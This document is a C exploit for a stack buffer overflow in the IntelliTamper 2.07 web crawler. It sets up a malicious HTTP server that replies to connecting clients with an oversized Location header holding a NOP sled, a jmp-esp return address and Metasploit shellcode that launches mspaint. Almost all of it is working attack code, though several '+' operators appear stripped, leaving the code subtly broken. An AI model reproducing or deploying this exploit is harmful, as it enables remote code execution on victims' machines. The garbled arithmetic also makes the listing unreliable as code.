IntelliTamper 2.07 HTTP Header Remote Code Execution Exploit

    /**

    **

    ** IntelliTamper 2.07 Location: HTTP Header Remote Code Execution exploit.

    **

    ** Based on exploit by Koshi (written in Perl). This one should be more

    ** stable. Just for fun and to learn more about win32 exploitation.

    **

    ** by Wojciech Pawlikowski (wojtekp@gmail.com)

    **/

    #include <sys/types.h>

    #include <sys/socket.h>

    #include <arpa/inet.h>

    #include <netinet/in.h>

    #include <netdb.h>

    #include <stdio.h>

    #include <stdlib.h>

    #include <string.h>

    #include <unistd.h>

    #define BUFSIZE 1550

    #define NOP 0x90

    #define RETADDR 0x7c941EED // jmp esp ntdll.dll

    /* win32_exec – EXITFUNC=thread CMD=mspaint Size=336 Encoder=Alpha2 http://metasploit.com */

    unsigned char shellcode[] =

    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"

    "\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42"

    "\x58\x30\x42\x31\x50\x41\x42\x6b\x41\x41\x52\x41\x32\x41\x41\x32"

    "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x6d\x39\x59\x6c\x69"

    "\x78\x41\x54\x75\x50\x77\x70\x45\x50\x6c\x4b\x73\x75\x55\x6c\x4e"

    "\x6b\x61\x6c\x33\x35\x54\x38\x55\x51\x7a\x4f\x4c\x4b\x70\x4f\x45"

    "\x48\x4c\x4b\x33\x6f\x67\x50\x45\x51\x4a\x4b\x43\x79\x6c\x4b\x34"

    "\x74\x4c\x4b\x47\x71\x6a\x4e\x64\x71\x6f\x30\x5a\x39\x6e\x4c\x4e"

    "\x64\x4f\x30\x30\x74\x45\x57\x79\x51\x6b\x7a\x74\x4d\x37\x71\x5a"

    "\x62\x4a\x4b\x5a\x54\x55\x6b\x31\x44\x71\x34\x55\x54\x71\x65\x4b"

    "\x55\x6c\x4b\x73\x6f\x61\x34\x45\x51\x78\x6b\x65\x36\x6c\x4b\x36"

    "\x6c\x50\x4b\x4e\x6b\x71\x4f\x57\x6c\x35\x51\x38\x6b\x4c\x4b\x77"

    "\x6c\x6e\x6b\x77\x71\x6a\x4b\x4c\x49\x71\x4c\x37\x54\x34\x44\x7a"

    "\x63\x54\x71\x39\x50\x61\x74\x6c\x4b\x43\x70\x46\x50\x4b\x35\x49"

    "\x50\x72\x58\x46\x6c\x6c\x4b\x47\x30\x36\x6c\x6c\x4b\x70\x70\x37"

    "\x6c\x4e\x4d\x4c\x4b\x65\x38\x46\x68\x7a\x4b\x64\x49\x4e\x6b\x4f"

    "\x70\x6e\x50\x77\x70\x77\x70\x45\x50\x6c\x4b\x70\x68\x37\x4c\x63"

    "\x6f\x64\x71\x49\x66\x73\x50\x31\x46\x6e\x69\x59\x68\x4b\x33\x69"

    "\x50\x51\x6b\x30\x50\x32\x48\x5a\x4f\x5a\x6e\x69\x70\x45\x30\x33"

    "\x58\x4c\x58\x6b\x4e\x4c\x4a\x76\x6e\x66\x37\x6b\x4f\x7a\x47\x30"

    "\x6d\x53\x43\x62\x50\x53\x51\x73\x59\x32\x4e\x33\x44\x45\x50\x42";

    int

    main(void)

    {

    struct sockaddr_in serv_sin, cli_sin;

    int i, sockfd, cli_sock, sock_opt = 1, sin_len;

    char *overflow, buf[BUFSIZE] = { 0 }, req[BUFSIZE 100] = { 0 };

    sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (sockfd < 0)

    {

    perror("socket()");

    exit(-1);

    }

    serv_sin.sin_family = AF_INET;

    serv_sin.sin_port = htons(80);

    serv_sin.sin_addr.s_addr = INADDR_ANY;

    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sock_opt, sizeof(int)) < 0)

    {

    perror("setsockopt()");

    close(sockfd);

    exit(-1);

    }

    if (bind(sockfd, (struct sockaddr *)&serv_sin, sizeof(struct sockaddr)) < 0)

    {

    perror("bind()");

    close(sockfd);

    exit(-1);

    }

    listen(sockfd, 1);

    sin_len = sizeof(struct sockaddr);

    printf("[*] Waiting for a connection…\n");

    while (1)

    {

    cli_sock = accept(sockfd, (struct sockaddr *)&cli_sin, &sin_len);

    if (cli_sock < 0)

    {

    perror("accept()");

    exit(-1);

    }

    printf("[ ] Connection from %s:%d\n", inet_ntoa(cli_sin.sin_addr), ntohs(cli_sin.sin_port));

    read(cli_sock, buf, sizeof(buf) – 1);

    overflow = (char *)malloc(BUFSIZE 1);

    for (i = 0; i <= 1540; i = 4)

    *(long *)&overflow[i] = RETADDR;

    for (i = 0; i < 1536; i )

    overflow[i] = NOP;

    memcpy(overflow 550, shellcode, strlen(shellcode));

    memcpy(overflow i 4, "\xe9\x14\xfc\xff\xff", 5); // jmp -1000 – jump to our buffer

    i = sprintf(req, "200 HTTP/1.1\r\nDate: 2008-07-24 20:14:31\r\nLocation: ");

    memcpy(req i, overflow, strlen(overflow));

    memcpy(req i strlen(overflow), "\r\n\r\n", 4);

    write(cli_sock, req, strlen(req));

    printf("[ ] Exploit sent!\n");

    close(cli_sock);

    }

    close(sockfd);

    }

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